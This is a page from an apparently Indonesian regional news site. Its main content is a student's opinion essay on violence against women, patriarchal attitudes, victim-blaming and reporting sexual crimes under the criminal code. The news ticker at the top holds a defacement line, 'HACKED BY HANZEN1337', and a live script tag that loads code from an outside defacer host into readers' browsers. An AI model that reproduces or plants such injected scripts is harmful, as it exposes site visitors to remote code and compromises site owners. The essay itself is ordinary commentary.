News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Paradigma dan Lumpuhnya Asusila

Paradigma dan Lumpuhnya Asusila

*Oleh Isna Rahayu Yuliarti

Dilansir dari tirto.id, Komisi Nasional Anti Kekerasan Terhadap Perempuan (Komnas Perempuan) mencatat terdapat 259.150 kasus kekerasan terhadap perempuan di Indonesia sepanjang 2016 lalu. Berdasarkan data tersebut, Komnas Perempuan membagi kasus-kasus kekerasan itu pada tiga ranah yakni personal, komunitas dan negara. Di ranah personal, kekerasan dalam rumah tangga masih mendominasi dengan 5.784 kasus diikuti oleh kekerasan dalam pacaran dengan 2.171 kasus dan kekerasan terhadap anak yang mencapai 1.799 kasus.

Kekerasan terhadap perempuan dan jenis tindakan kriminal lain yang menimpa perempuan tidak hanya terjadi di dalam ranah rumah tangga saja, semisal seorang istri yang mendapat perlakuan  KDRT yang dilakukan oleh suaminya. Namun, kejahatan seksual terhadap perempuan sudah kian mengakar dan terus menjalar ke ranah yang lain, seperti tindakan kriminal yang terjadi di dalam transportasi online.

Baru-baru ini telah ditemui suatu aksi pelecehan seksual yang dilakukan oleh oknum pengemudi taksi online terhadap penumpang perempuannya yang terjadi pada awal Oktober 2018 lalu. Menurut pengakuan teman korban, melalui tangkapan layar yang direpost oleh akun @Indonesiafeminis, memaparkan gambaran tentang aksi pelecehan seksual yang telah dialami korban. Akun tersebut memberikan informasi bahwa pengemudi telah bertindak senonoh yaitu mencium bibir korban.

Lantas, oknum taksi online tersebut mendapat kecaman dari para netizen karena telah memberikan suatu tanggapan yang tidak tepat. Alih-alih dengan meminta menyelesaikan permasalahan ini dengan cara kekeluargaan melalui mediasi.

Tidak hanya itu saja, kejahatan lain yang telah merampas paksa seorang perempuan adalah kekerasan yang dilakukan oleh kakaknya yang secara sengaja memukul area fisik adik perempuannya, bahkan lebih parahnya lagi, kekerasan perempuan juga dapat terjadi di lingkungan yang berbasis pendidikan seperti pemerkosaan yang dilakukan oleh dosen terhadap siswinya yang sedang melakukan skripsi. Kasus diatas merupakan potret dari kumpulan kasus pelecehan seksual yang telah ada di Indonesia.

 

Paradigma Masyarakat

Dari pemaparan kasus diatas, kejahatan terhadap perempuan merupakan masalah yang sering ditemui. Seiring dengan berkembangnya zaman, perubahan gaya hidup yang mengarah ke dalam sistem daring (dalam jaringan) memang menciptakan suatu efisiensi yang sangat besar. Namun, di balik itu semua, tentu ada kerugian yang terjadi seperti penyalahgunaan kesempatan untuk dijadikan sebagai tempat bertumbuhnya suatu kondisi kriminal terhadap perempuan.

Budaya **patriarki memang sudah mengakar dalam potret kenegerian ini. Mungkin ini adalah salah satu anggapan yang membuat bahwa perempuan merupakan gudang bagi para lelaki. Perempuan tidak memiliki suatu kebebasan dan akan selalu menjadi objek penganiayaan. Perempuan adalah tempat pembuangan nafsu birahi yang kapan maupun dimanapun dapat terjadi.

Hal tersebut juga berkaitan erat dengan paradigma masyarakat yang secara langsung juga telah  menganggap bahwa perempuan sudah semestinya menjaga kehormatan terhadap apa yang ada pada dirinya. Untuk itu, perempuan harus secara siaga untuk melindungi tubuhnya. Namun, apakah masayarakat lupa bahwa perempuan juga memiliki hak penuh atas keamanan dan kebebasan dalam aksi kejahatan?  

Tak sedikit yang menyalahkan perempuan sebagai akar permasalahan, perempuan dituntut untuk selalu memperbaiki tata cara berpakaian seperti tidak dianjurkannya penggunaan rok mini ketika menaiki angkutan umum dan tata cara melakukan hal apapun, seperti cara berjalan dan cara berinteraksi dalam khalayak ramai. Seolah-olah perempuanlah tonggak utama masalah yang secara sengaja menyodorkan dirinya sebagai objek pencabulan atau pemerkosaan.

Kenyataan pahit memang telah menimpa kaum hawa. Banyaknya kasus-kasus yang menimpa kehidupan mereka telah merenggut kebahagiaan yang nyata, bahkan dapat menyebabkan suatu perasaan trauma yang berkepanjangan. Namun,  adakalanya pula bahwa ketika seorang perempuan telah mendapatkan suatu tindakan kejahatan seksual, mereka hanya bungkam dan menyimpan penuh atas apa yang telah menimpa dirinya. Mereka enggan berteriak dan begitu mudahnya menyerahkan apa yang seharusnya mereka jaga. Mereka tidak melaporkan dan menjadikan hal tersebeut sebagai momok yang bisa menghancurkan mental dan jati dirinya. Ini menunjukkan kekeliruan yang terjadi, seharusnya mereka tidak lagi takut melaporkan karena dengan jelas telah tertera dalam KUHP tentang kejahatan kesusilaan (Pasal 281 sampai Pasal 303) bahwa hukum sudah bulat mengatur permasalahan tersebut.

Jelas merupakan masalah yang kompleks untuk diselesaikan. Apabila sang korban kejahatan tetap saja mengaggap hal tersebut sebagai masalah yang tidak perlu dilaporkan, maka semua pecundang akan tetap gentar menjadi pecundang. Bagi mereka, dengan adanya kelonggaran hukum bukan suatu masalah atau acuan pedoman yang harus dipatuhi. Dimana ada kesempatan, maka itu suatu kelonggaran bagi mereka untuk memenuhi kebutuhan nafsu birahinya.

Begitu pula dari pihak seorang korban,  sudah semestinya mereka sadar akan hak yang mengikat dalam tubuhnya tersebut, ada suatu hal yang harus dihormati dan dilindungi, sehingga pelaporan terhadap pihak yang berwajib sangat dianjurkan.

Untuk itu, paradigma yang membuat wanita sebagai makhluk lemah harus dibumihanguskan dan pelaku utama kejahatan harus sadar bahwa perempuan sudah semestinya mendapatkan hak yang sama dengan lelaki, bahwa mereka bukan objek kejahatan seksual dan mereka berhak mendapatkan perlindungan. (*/imm)

Ilustrasi: violence (Foto: pixabay)

*Penulis: Mahasiswa Teknik Industri, Universitas Sampoerna, Jakarta

 

**Patriaki, adalah sebuah sistem sosial yang menempatkan laki-laki sebagai pemegang kekuasaan utama dan mendominasi dalam peran kepemimpinan politik, otoritas moral, hak sosial dan penguasaan properti. Dalam domain keluarga, sosok yang disebut ayah memiliki otoritas terhadap perempuan, anak-anak dan harta benda. (wikipedia)

Berita Terkait
1783884912.1957 at start, 1783884912.5813 at end, 0.38559293746948 sec elapsed